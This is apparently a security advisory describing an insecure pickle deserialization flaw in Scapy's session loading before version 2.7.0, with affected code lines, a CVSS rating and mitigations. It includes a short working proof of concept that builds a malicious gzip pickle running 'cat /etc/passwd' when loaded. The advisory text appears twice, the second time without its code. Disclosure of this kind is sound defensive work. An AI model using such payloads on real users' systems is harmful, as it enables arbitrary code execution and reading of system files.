Summary
An unsafe deserialization vulnerability in Scapy <v2.7.0 allows attackers to execute arbitrary code when a malicious session file is locally loaded via the -s
option. This requires convincing a user to manually load a malicious session file.
Details
Scapy’s interactive shell supports session loading using gzip-compressed pickle files:
./run_scapy -s <session_file.pkl.gz>
Internally, this triggers:
# main.py
SESSION = pickle.load(gzip.open(session_name, "rb"))
Since no validation or restriction is performed on the deserialized object, any code embedded via __reduce__()
will be executed immediately. This makes it trivial for an attacker to drop a malicious .pkl.gz
in a shared folder and have it executed by unsuspecting users.
The vulnerability exists in the load_session
function, which deserializes data using pickle.load()
on .pkl.gz
files provided via the -s
CLI flag or programmatically through conf.session
.
Affected lines in source code:
https://github.com/secdev/scapy/blob/master/scapy/main.py#L569-L572
try:
s = pickle.load(gzip.open(fname, "rb"))
except IOError:
try:
s = pickle.load(open(fname, "rb"))
PoC
Create a malicious payload:
import pickle, os, gzip
class RCE:
def __reduce__(self):
return (os.system, ("cat /etc/passwd",))
payload = gzip.compress(pickle.dumps(RCE()))
with open("evil.pkl.gz", "wb") as f:
f.write(payload)
Then run Scapy with:
./run_scapy -s ./evil.pkl.gz
Result: cat /etc/passwd
executes immediately, before shell is shown.

Impact
This is a classic deserialization vulnerability which leads to Code Execution (CE) when untrusted data is deserialized.
Any user who can trick another user into loading a crafted .pkl.gz
session file (e.g. via -s
option) can execute arbitrary Python code.
- Vulnerability type: Insecure deserialization (Python
pickle
)
- CWE: CWE-502: Deserialization of Untrusted Data
- CVSS v4.0 Vector:
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- CVSS Score: 5.4 (Medium)
- Impact: Arbitrary Code Execution
- Attack vector: Local or supply chain (malicious
.pkl.gz
)
- Affected users: Any user who loads session files (even interactively)
- Affected version: Scapy v2.6.1
Mitigations
- Do not use 'sessions' (the -s option when launching Scapy).
- Use the Scapy 2.7.0+ where the session mechanism has been removed.
References
Summary
An unsafe deserialization vulnerability in Scapy <v2.7.0 allows attackers to execute arbitrary code when a malicious session file is locally loaded via the
-s
option. This requires convincing a user to manually load a malicious session file.Details
Scapy’s interactive shell supports session loading using gzip-compressed pickle files:
Internally, this triggers:
Since no validation or restriction is performed on the deserialized object, any code embedded via
__reduce__()
will be executed immediately. This makes it trivial for an attacker to drop a malicious.pkl.gz
in a shared folder and have it executed by unsuspecting users.The vulnerability exists in the
load_session
function, which deserializes data usingpickle.load()
on.pkl.gz
files provided via the-s
CLI flag or programmatically throughconf.session
.Affected lines in source code:
https://github.com/secdev/scapy/blob/master/scapy/main.py#L569-L572
PoC
Create a malicious payload:
Then run Scapy with:
Result:
cat /etc/passwd
executes immediately, before shell is shown.Impact
This is a classic deserialization vulnerability which leads to Code Execution (CE) when untrusted data is deserialized.
Any user who can trick another user into loading a crafted
.pkl.gz
session file (e.g. via-s
option) can execute arbitrary Python code.pickle
)CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
.pkl.gz
)Mitigations
References